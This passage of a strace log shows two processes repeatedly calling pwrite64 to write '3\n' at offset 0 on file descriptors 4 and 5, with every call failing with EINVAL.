[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
